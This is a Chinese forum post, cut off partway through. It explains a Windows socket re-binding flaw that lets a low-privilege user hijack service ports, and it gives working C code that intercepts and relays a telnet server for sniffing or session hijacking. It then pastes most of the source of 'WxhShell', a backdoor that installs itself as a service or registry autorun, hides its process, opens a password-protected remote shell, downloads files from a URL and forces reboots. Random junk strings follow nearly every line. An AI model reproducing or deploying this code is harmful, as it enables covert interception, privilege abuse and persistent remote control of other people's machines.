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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  LAfv1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c DO<z  
gBCO>nJws  
  saddr.sin_family = AF_INET; c<n <!!vi  
*g;4?_f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -)2sR>`A%  
:KL5A1{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1xF<c<  
qH-':|h7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H<bK9k)E  
q*B(ZG  
  这意味着什么?意味着可以进行如下的攻击: GVt}\e~"  
S|HnmkV66  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j,BiWgj$8  
Z_Z; g]|!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T6=q[LpsKN  
%HK\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {Y#$  
rS/}!|uAu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @5y ~A}Vd  
hJcN*2\:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x&PVsXdt5m  
,@*Srrw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e$+/;MRq  
qqR8E&Y{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l{b*YUsz>  
BvA09lK  
  #include DHnu F@M  
  #include _[_mmf1;:'  
  #include @g~hYc  
  #include    c5e  wG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;[>g(W+  
  int main() hRWRXC 9  
  { J&bhR9sF  
  WORD wVersionRequested; rBY{&JhS  
  DWORD ret; I||4.YT  
  WSADATA wsaData; j(SBpM  
  BOOL val; 4Ev#`i3~  
  SOCKADDR_IN saddr; hR1n@/nh  
  SOCKADDR_IN scaddr; nC> 'kgRt  
  int err; #lHA<jI  
  SOCKET s; L1i:hgq0]  
  SOCKET sc; _~_E(rTn  
  int caddsize; @|c fFT W  
  HANDLE mt; KL}o%wfLy  
  DWORD tid;   Xzp!X({   
  wVersionRequested = MAKEWORD( 2, 2 ); vuCl(/P`  
  err = WSAStartup( wVersionRequested, &wsaData ); *He%%pk  
  if ( err != 0 ) { h72#AN  
  printf("error!WSAStartup failed!\n"); 78[5@U  
  return -1; F:o<E 42  
  } Qso"jYl<  
  saddr.sin_family = AF_INET; LAT%k2%Wx  
   3?rYt:Uf!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8w|-7$ v  
c ii]-%J}c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M XX:i  
  saddr.sin_port = htons(23); ~&?{hd.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (,5,}  
  { QIg.r \>o  
  printf("error!socket failed!\n"); n2#Yw}7^,o  
  return -1; DfJHH)Ry}  
  } 68k  
  val = TRUE; _,m|gr ,S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m)aNuQvy:Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fEB>3hI  
  { kA1C&  
  printf("error!setsockopt failed!\n"); D<35FD,  
  return -1; ^bj aa  
  } '`K-rvF,C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IV5B5Q'D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =]auP{AlE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |dxcEjcY_  
1 ynjDin<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T1&^IO-F7$  
  { ie f~*:5  
  ret=GetLastError(); Fu%%:3_  
  printf("error!bind failed!\n"); ]U8VU  
  return -1; b+g(=z+  
  } }>|M6.n "  
  listen(s,2); K3Wh F  
  while(1) #cRw0bn:  
  { RrPo89o  
  caddsize = sizeof(scaddr); B?G!~lQ)o  
  //接受连接请求 @@O=a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {B_pjs  
  if(sc!=INVALID_SOCKET) fuQb h  
  { _ `RCY^t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4R~f   
  if(mt==NULL) HZH zjrx  
  { n4YedjHSN  
  printf("Thread Creat Failed!\n");  GT)63|  
  break; wLDWD,"K  
  } bJz}\[z  
  } O" <W<l7Q  
  CloseHandle(mt); A* =r~T5B  
  } Y8Bc &q}  
  closesocket(s); hLZ<h7:  
  WSACleanup(); D_HE!fl  
  return 0; ia!b0*<   
  }   NPL(5@  
  DWORD WINAPI ClientThread(LPVOID lpParam) +@QN)ZwVy  
  { ;B'5B]A3  
  SOCKET ss = (SOCKET)lpParam; NX?IM8\t  
  SOCKET sc; Y)-)owx7  
  unsigned char buf[4096]; "XU M$:D  
  SOCKADDR_IN saddr; 5yHarC  
  long num; XU3v#Du  
  DWORD val; .5;Xd?  
  DWORD ret; nS53mLU)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Bj ~bsT@a.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pnvHh0ck_  
  saddr.sin_family = AF_INET; <#hltPyh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kbxy^4"X  
  saddr.sin_port = htons(23); @LzqQ [  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zy>iaG9}  
  { i09w(k?  
  printf("error!socket failed!\n"); 4|Wg lri  
  return -1; wQ4IQ!  
  } 9 NO^ '  
  val = 100; q Z,7q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3y9K'  
  { epWO}@ b a  
  ret = GetLastError(); x*EzX4$x  
  return -1; sUfYEVjr  
  } >|"mhNF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vu&%e\gM  
  { Zj*kHjn"  
  ret = GetLastError(); |7K[+aK  
  return -1; qNLG-m,n<  
  } ~1NK@=7T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RW!_Zz Z  
  { #9{9T"ed  
  printf("error!socket connect failed!\n"); ),<E-Ub  
  closesocket(sc); +0,{gDd+  
  closesocket(ss); |b@H]c;"  
  return -1; Tk^J#};N  
  } 5i+0GN3nd  
  while(1) \uumNpB*n  
  { f?ImQYqP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nZfU:N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 = }&@XRLJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b;N[_2  
  num = recv(ss,buf,4096,0); k k&8:;Vj  
  if(num>0) g=*`6@_=  
  send(sc,buf,num,0); _:: q S!  
  else if(num==0) rc*iL   
  break; 1|?8g2Vf  
  num = recv(sc,buf,4096,0); h"7:&=e  
  if(num>0) aX oD{zA  
  send(ss,buf,num,0); tA?cHDp4E  
  else if(num==0) >d`XR"_e  
  break; hr T_0FZV  
  } yU-^w^4  
  closesocket(ss); |NbF3 fD  
  closesocket(sc); "funFvY  
  return 0 ; 8$|< `:~J  
  } WMo   
YpAJ7 E|7  
"k8Yc<`u  
========================================================== b.`<T "y  
;{n@hM*O  
下边附上一个代码,,WXhSHELL JQ>GKu~  
NV|[.g=lg  
========================================================== 6z/ct|n  
%{fa . >6  
#include "stdafx.h" G2bZl% ,D  
+>em !~3  
#include <stdio.h> :QndeUw  
#include <string.h> GTj=R$%09  
#include <windows.h> o]&w"3vOP0  
#include <winsock2.h> P%#EH2J  
#include <winsvc.h> +h64idM{U  
#include <urlmon.h> \(nb >K  
-/#VD&MJO=  
#pragma comment (lib, "Ws2_32.lib") SWAggW)  
#pragma comment (lib, "urlmon.lib") 73-*| @6  
"l-L-sc,  
#define MAX_USER   100 // 最大客户端连接数 (1 "unP-  
#define BUF_SOCK   200 // sock buffer N2?o6)  
#define KEY_BUFF   255 // 输入 buffer Vvth,  
}Htnhom0n  
#define REBOOT     0   // 重启 |Ef\B] Ns  
#define SHUTDOWN   1   // 关机 n21Pfig  
s`j QX\{  
#define DEF_PORT   5000 // 监听端口 4(VVEe  
ho1Mo  
#define REG_LEN     16   // 注册表键长度 W"m\|x  
#define SVC_LEN     80   // NT服务名长度 A@8Ot-t:\2  
di@4'$5#  
// 从dll定义API \m3'4#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rjmKe*_1V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y:U'3G-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WIytgM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -_m>C2$6x  
6.o8vC/PZ  
// wxhshell配置信息 &GF|Rr8NXs  
struct WSCFG { bIFKP  
  int ws_port;         // 监听端口 jV(\]g"/=  
  char ws_passstr[REG_LEN]; // 口令 Di[}y;  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZZkxEq+D  
  char ws_regname[REG_LEN]; // 注册表键名 p2c4 <f-M  
  char ws_svcname[REG_LEN]; // 服务名 3:">]LMi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 } {! #` 's  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1v)X]nW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !]%M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tSST.o3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C~do*rnM^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p!+7F\  
S?X2MX  
}; e&Z\hZBb  
T;cyU9  
// default Wxhshell configuration Wq bfZx  
struct WSCFG wscfg={DEF_PORT, g/)$-Z)Nu  
    "xuhuanlingzhe", }PZz(Ms  
    1, R&w2y$  
    "Wxhshell", c0J=gZiP  
    "Wxhshell", /jR]sC)xs  
            "WxhShell Service", i[:S *`@S  
    "Wrsky Windows CmdShell Service", 2v!ucd}  
    "Please Input Your Password: ", *WSH-*0  
  1, %+WIv+ <  
  "http://www.wrsky.com/wxhshell.exe", Fq{Z-yVp  
  "Wxhshell.exe" )V!9/d  
    }; ]gN]Cw\L  
 u/ Os  
// 消息定义模块 ~c e?xr|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [C GFzxz$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .U8Se+;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zeqP:goy  
char *msg_ws_ext="\n\rExit."; IrJPP2Q  
char *msg_ws_end="\n\rQuit."; pUvbIbg+  
char *msg_ws_boot="\n\rReboot..."; Qg)=4(<Hr  
char *msg_ws_poff="\n\rShutdown..."; (nhv#&Fd+  
char *msg_ws_down="\n\rSave to "; br!:g]Vh  
OL,3Jh% x  
char *msg_ws_err="\n\rErr!"; DzZ)a E  
char *msg_ws_ok="\n\rOK!"; G2FP|mf,  
U Ox$Xwp5&  
char ExeFile[MAX_PATH]; oDyrf"dl  
int nUser = 0; -Cb<T"7  
HANDLE handles[MAX_USER]; aR }|^ex  
int OsIsNt; *wNX<R.  
ryz [A:^G  
SERVICE_STATUS       serviceStatus; #z|\AmZ\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~[@Gj{6p0  
bYr;~ ^  
// 函数声明 ~<M/<%o2*  
int Install(void); ];bl;BP  
int Uninstall(void); dg%Orvuz  
int DownloadFile(char *sURL, SOCKET wsh); ,/.U'{  
int Boot(int flag); jTNfGu0x  
void HideProc(void); F&{RP>  
int GetOsVer(void); S ("Zzq`  
int Wxhshell(SOCKET wsl); Vb|;@*=R&Q  
void TalkWithClient(void *cs); ~Rzn =>a  
int CmdShell(SOCKET sock); *>Z|!{bI  
int StartFromService(void); :n3)vK   
int StartWxhshell(LPSTR lpCmdLine); 8S&Kf>D  
q!iMc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L  lP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qm| Q0u   
"K EB0U  
// 数据结构和表定义 ^!]Hm&.a  
SERVICE_TABLE_ENTRY DispatchTable[] = > ,L'A;c}  
{ zw{cli&S  
{wscfg.ws_svcname, NTServiceMain}, )"  H$1  
{NULL, NULL} ]Gw?DD|Gn  
}; S~"1q 0  
32_{nLV$[  
// 自我安装 \`w!v,aM$  
int Install(void) X-oHQu5  
{ Q AJX7  
  char svExeFile[MAX_PATH]; %IS'R`;3  
  HKEY key; ALw5M'6q0\  
  strcpy(svExeFile,ExeFile); ={9G.%W  
[\o+I:,}wi  
// 如果是win9x系统,修改注册表设为自启动 1v TncU!  
if(!OsIsNt) { WZk\mSNV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q% Eze  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Rr^K5hmD  
  RegCloseKey(key); &a?&G'?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -e=p*7']  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LGN,8v<W(  
  RegCloseKey(key); /K mzi9j+  
  return 0; (wmMHo|  
    } X\SZ Q[gN  
  } !GkwbHr+p  
} im&E \`L7  
else { S~1>q+<Q  
k^q}F%UV  
// 如果是NT以上系统,安装为系统服务 bl|k6{A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z/*nY?  
if (schSCManager!=0) Si<9O h  
{ ^7`"wj14  
  SC_HANDLE schService = CreateService 0_Hdj K  
  ( 2e}${NZN  
  schSCManager, 9I>+Q&   
  wscfg.ws_svcname, ~L!*p0dS^  
  wscfg.ws_svcdisp, V:h-K`~ /  
  SERVICE_ALL_ACCESS, rs01@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,63hO.4M  
  SERVICE_AUTO_START, q# W|*kL3  
  SERVICE_ERROR_NORMAL, 7<Fp3N 3  
  svExeFile, pv2_A   
  NULL, . xT8@]  
  NULL, s)$N&0\  
  NULL, e";r_J3w  
  NULL, U;n$  
  NULL 7%Zl^c>q  
  ); 4!Ez#\  
  if (schService!=0) wiWpzJz  
  { F]~rA! g1  
  CloseServiceHandle(schService); x^aqnKoJ%\  
  CloseServiceHandle(schSCManager); uX{n#i,~L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -If-c'"G  
  strcat(svExeFile,wscfg.ws_svcname); `fEB,0j^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &x{CC@g/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nu,#y"WQ  
  RegCloseKey(key); qO=_i d  
  return 0; #5GIO  
    } (: IUg   
  } >_QC_UX>4i  
  CloseServiceHandle(schSCManager); qu[ ~#  
} UhCE.# U  
} eR r.j  
0$3\D S<E  
return 1; QRj>< TKi  
} {aI8p}T  
r]eeKV,{p  
// 自我卸载 >9c$2d|>  
int Uninstall(void) ]!J 6S.@#+  
{ @SA*7[?P  
  HKEY key; PF@+~FI  
8~?3: IZ  
if(!OsIsNt) { yc5C`r+6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  "Mgx5d  
  RegDeleteValue(key,wscfg.ws_regname); :mLcb. E  
  RegCloseKey(key); C=ni5R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ua1ov7w$]  
  RegDeleteValue(key,wscfg.ws_regname); BP2-LG&\  
  RegCloseKey(key); <va3Ly)c&  
  return 0; I0 a,mO;m  
  } v8"plx=3  
} 8YC\Bw  
} Ev;HV}G  
else { I*R[8|  
_aVrQ@9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OaU-4 ~n;  
if (schSCManager!=0) m xtLcG4G  
{ Z%~j)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t>|Y-i3cb  
  if (schService!=0) h+Km|  
  { 4g]Er<-P  
  if(DeleteService(schService)!=0) { ?Y2ZqI  
  CloseServiceHandle(schService); ~vnG^y>%  
  CloseServiceHandle(schSCManager); e2Sm.H '  
  return 0;  5k.NZ  
  } eRQ}`DjTk  
  CloseServiceHandle(schService); 7 Xe|P1@)  
  } 0 Vv 6B2<  
  CloseServiceHandle(schSCManager); trmCIk&Fkj  
}  lk{  
} XnrOC|P$  
D/jB .  
return 1; G?!b00H  
} S(](C  
$5y%\A  
// 从指定url下载文件 %pgie"k   
int DownloadFile(char *sURL, SOCKET wsh) tLe!_p)  
{ Q=J"#EFs  
  HRESULT hr; f7 V36Q8  
char seps[]= "/"; ZzLmsTtzIu  
char *token; $8o(_8Q)  
char *file; / ]_T  
char myURL[MAX_PATH]; y0>asl  
char myFILE[MAX_PATH]; 'M185wDdAl  
7P O3{I  
strcpy(myURL,sURL); 6lO]V=+  
  token=strtok(myURL,seps); VTySKY+  
  while(token!=NULL) qEr2Y/:i"  
  { r  H;@N  
    file=token; q}e"E cr  
  token=strtok(NULL,seps); B7(~m8:eH7  
  } Q[_{:DJA  
OiNzN.}d  
GetCurrentDirectory(MAX_PATH,myFILE); _x 'R8/  
strcat(myFILE, "\\"); pkpD1c^  
strcat(myFILE, file); IRNL(9H  
  send(wsh,myFILE,strlen(myFILE),0); |WH'aGG  
send(wsh,"...",3,0); QlJ cj+_h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h`dtcJ0  
  if(hr==S_OK) ,<F=\G_f  
return 0; m8eyAvi 6  
else %"PG/avo  
return 1; NR-d|`P;  
?>5[~rMn  
} GqumH/;  
i`/_^Fndyu  
// 系统电源模块 q\ FF)H  
int Boot(int flag) ES!$JWK|  
{ / PG+ s6  
  HANDLE hToken; =3OK 3|  
  TOKEN_PRIVILEGES tkp; km2('t7?  
;LE4U OK  
  if(OsIsNt) { } r$&"wYM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q65KxOf`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $E3- </ f  
    tkp.PrivilegeCount = 1; Nq1la8oQ3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }# 'wy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kk1591'  
if(flag==REBOOT) { HQ~`ha.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %JM:4G|q  
  return 0; $ysemDq-a\  
} `Bk7W]{L  
else { R>SS\YC'X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5ckL=q"+/  
  return 0; p3ox%4  
} ~>&7~N8  
  } =r"8J5[f  
  else { _O)xE9t#ru  
if(flag==REBOOT) { /!;oO_U:#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1>P[3Y@}  
  return 0; +aaj3m  
} 73B,I 0U  
else { "V-k_d "  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) > nV~5f+  
  return 0; A^:[+PJHN  
} &<6E*qM  
} *,<A[XP  
vdw5T&Q{{C  
return 1; z<aBGG  
} tJ[yx_mf  
YXI_ '  
// win9x进程隐藏模块 aTS\NpK&  
void HideProc(void) XWN ra  
{ <WFA3  
0fwmQ'lW(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LVKvPi  
  if ( hKernel != NULL ) 4k/B=%l  
  { [xzgk [>5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fw5|_@&k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Pl(V@  
    FreeLibrary(hKernel); c} )U:?6  
  } }a?PB o`  
D\|$ ! i}  
return;  m=D2|WA8  
} yO*~)ALb+  
NRu _6~^^  
// 获取操作系统版本 ^hq+ L^$^  
int GetOsVer(void) |/<,71Ae  
{ %B?@le+%  
  OSVERSIONINFO winfo; >B>[_8=f@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I?` }h}7.  
  GetVersionEx(&winfo); P^V,"B8t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;6S,|rC ]  
  return 1; XN9s!5A<L)  
  else ]D?//  
  return 0; ta"uxL\gge  
} G165grGFd  
~hK7(K  
// 客户端句柄模块 F. 5'5%  
int Wxhshell(SOCKET wsl) Z(DCR/U=(>  
{ d: D`rpcC  
  SOCKET wsh; o V"d%ks  
  struct sockaddr_in client; S3#NGBZ/  
  DWORD myID; B1<:nl  
D.d(D:  
  while(nUser<MAX_USER) ZrY #B8  
{ p}q27<O*/  
  int nSize=sizeof(client); $ N`V%<W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9U[Gh97Sf  
  if(wsh==INVALID_SOCKET) return 1; |^fubQs;2  
<xM$^r)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DfYOGs]@  
if(handles[nUser]==0) 3ARvSz@5  
  closesocket(wsh); Gk_%WY*  
else Z] ?Tx2|7  
  nUser++; N(i%Oxp1  
  } .Zo%6[X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \:]  
t Gt/=~n9  
  return 0; iMG)zPj  
} %smQ`u|  
^(z7?T  
// 关闭 socket vJZ0G:1  
void CloseIt(SOCKET wsh) 8vQGpIa,  
{ \H<gKZquR  
closesocket(wsh); W P7RX|7  
nUser--; ^n8ioL\*i  
ExitThread(0); TljN!nv]  
} o95)-Wb  
m(0sG(A~  
// 客户端请求句柄 $t*>A+J  
void TalkWithClient(void *cs) ?%RAX CK  
{ OAigq6[,  
b#ga  
  SOCKET wsh=(SOCKET)cs; ]vj.s/F~  
  char pwd[SVC_LEN]; L1J \ C  
  char cmd[KEY_BUFF]; 2P\k;T(  
char chr[1]; a=ye!CN^  
int i,j; Y~I$goT  
'I$-h<W  
  while (nUser < MAX_USER) { w+A:]SU  
ggluQGA  
if(wscfg.ws_passstr) { .II*wK k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q/T(s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EY~b,MIL4  
  //ZeroMemory(pwd,KEY_BUFF); Yz<,`w5/6~  
      i=0; :LE0_ .  
  while(i<SVC_LEN) { 3=[#(p:  
a[e&O&Z  
  // 设置超时 2Y~UeJ_\Lq  
  fd_set FdRead; 7RXTQ9BS  
  struct timeval TimeOut; \.0cA4)[$  
  FD_ZERO(&FdRead); R$>]7-N}  
  FD_SET(wsh,&FdRead); @ P:b\WCI  
  TimeOut.tv_sec=8; IE;Fu67wi  
  TimeOut.tv_usec=0; l>(w]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FEOr'H<3x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZD$W>'m{F  
}s*H| z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (tZ#E L0  
  pwd=chr[0]; l'yX_`*Iq  
  if(chr[0]==0xd || chr[0]==0xa) { :+ASZE.  
  pwd=0; %62W[Oh5  
  break; $O\I9CGr$  
  } >Xz=E0;^Ua  
  i++; qcN{p7=0  
    } "zN2+X"&  
t1LIZ5JY  
  // 如果是非法用户,关闭 socket yQP!Vt^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aJ!(c}N~97  
} +jpaBr-O#  
$x5,Oen  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b*;zdGX.A9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sf_q;Ws  
G,jv Mb`+  
while(1) { I JPpF`  
d3nx"=Cy0I  
  ZeroMemory(cmd,KEY_BUFF); t=-t xnlr<  
nqp:nw  
      // 自动支持客户端 telnet标准   /mdPYV  
  j=0; #F>7@N:5  
  while(j<KEY_BUFF) { C]X:@^Hy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]1 V,_^D  
  cmd[j]=chr[0]; tYe+7s  
  if(chr[0]==0xa || chr[0]==0xd) { ywSV4ZtM  
  cmd[j]=0; YN=dLr([<  
  break; 0n FEPMO  
  } fG *1A\t]  
  j++; ym\AVRO{  
    } E1 | >O  
;-aF\}D@n  
  // 下载文件 /]xu=q2  
  if(strstr(cmd,"http://")) { $0-}|u]5U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7@[HRr  
  if(DownloadFile(cmd,wsh)) y_s^dQe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <N4)X"s  
  else *\-R&8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TT85G&#  
  } %VV\biO]  
  else { rNi]|)-ET  
$ 8"we  
    switch(cmd[0]) { a\K__NCrX  
  jY~W*  
  // 帮助 |JUb 1|gi  
  case '?': { z;c~(o@4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7o+JQ&fF;  
    break; ;~A-32;Y4  
  } Fwu:x.(  
  // 安装 iRbTH}4i  
  case 'i': { Lip(r3  
    if(Install()) U<pG P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pCB^\M%*  
    else t K $r_*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N5ph70#y3  
    break; 3SI~?&HU!/  
    } +hUS sR&  
  // 卸载 h20<X;  
  case 'r': { }\iH~T6  
    if(Uninstall()) !=)R+g6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $uPM.mPFE  
    else g':/hlQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (f-Mm0%[  
    break; `:aml+  
    } ^R g=*L  
  // 显示 wxhshell 所在路径 ^| b]E  
  case 'p': { ZqDanDM  
    char svExeFile[MAX_PATH]; vb&1 S  
    strcpy(svExeFile,"\n\r"); jX9{Ki"  
      strcat(svExeFile,ExeFile); &J]|pf3m  
        send(wsh,svExeFile,strlen(svExeFile),0); @]{+9m8G@  
    break; IIZu&iZo\  
    } wsfN \6e  
  // 重启 zL^`r)H  
  case 'b': { Kyr3)1#J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \! *3bR  
    if(Boot(REBOOT)) n?UFFi+a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gp l  
    else { OI8Hf3d=  
    closesocket(wsh); =do*(  
    ExitThread(0); I[x+7Y0k9  
    } 7Gos-_s  
    break; E43Gk!/|(  
    } b}f#[* Z  
  // 关机 `rwzCwA1  
  case 'd': { o4[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EgYM][:UU  
